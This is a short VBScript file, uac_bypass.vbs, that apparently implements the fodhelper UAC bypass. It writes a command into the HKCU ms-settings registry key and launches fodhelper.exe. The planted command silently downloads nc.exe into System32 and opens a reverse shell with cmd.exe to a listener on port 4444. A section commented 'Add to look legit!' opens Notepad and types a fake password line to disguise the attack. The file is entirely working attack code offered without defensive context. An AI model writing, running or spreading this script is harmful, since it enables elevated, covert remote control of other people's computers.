uac_bypass.vbs

Const HKEY_CURRENT_USER = &H80000001

Const FodHelperPath           = "C:\\Windows\\System32\\fodhelper.exe"
Const RegKeyPathStr           = "SOFTWARE\\Classes\\ms-settings\\shell\\open\\command"
Const RegKeyPath              = "Software\\Classes\\ms-settings\\shell\\open\\command"
Const DelegateExecRegKeyName  = "DelegateExecute"
Const DelegateExecRegKeyValue = ""
Const DefaultRegKeyName       = ""
Const DefaultRegKeyValue      = "cmd.exe /c powershell.exe -nop -w hidden iwr -outf C:\Windows\System32\nc.exe http://127.0.0.1/nc.exe & C:\Windows\System32\nc.exe 127.0.0.1 4444 -e cmd.exe"

Const RegObjectPath = "winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv"
Set Registry = GetObject(RegObjectPath)

Registry.CreateKey HKEY_CURRENT_USER, RegKeyPath
Registry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DelegateExecRegKeyName, DelegateExecRegKeyValue
Registry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DefaultRegKeyName, DefaultRegKeyValue

Set Shell = WScript.CreateObject("WScript.Shell")
Shell.Run FodHelperPath, 0, False

'----------------------------------------------------
' Add to look legit!
'----------------------------------------------------
Set Notepad = WScript.CreateObject("WScript.Shell")
Notepad.Run "C:\\Windows\\System32\\notepad.exe"

WScript.Sleep 1000

Notepad.SendKeys "Password: secure"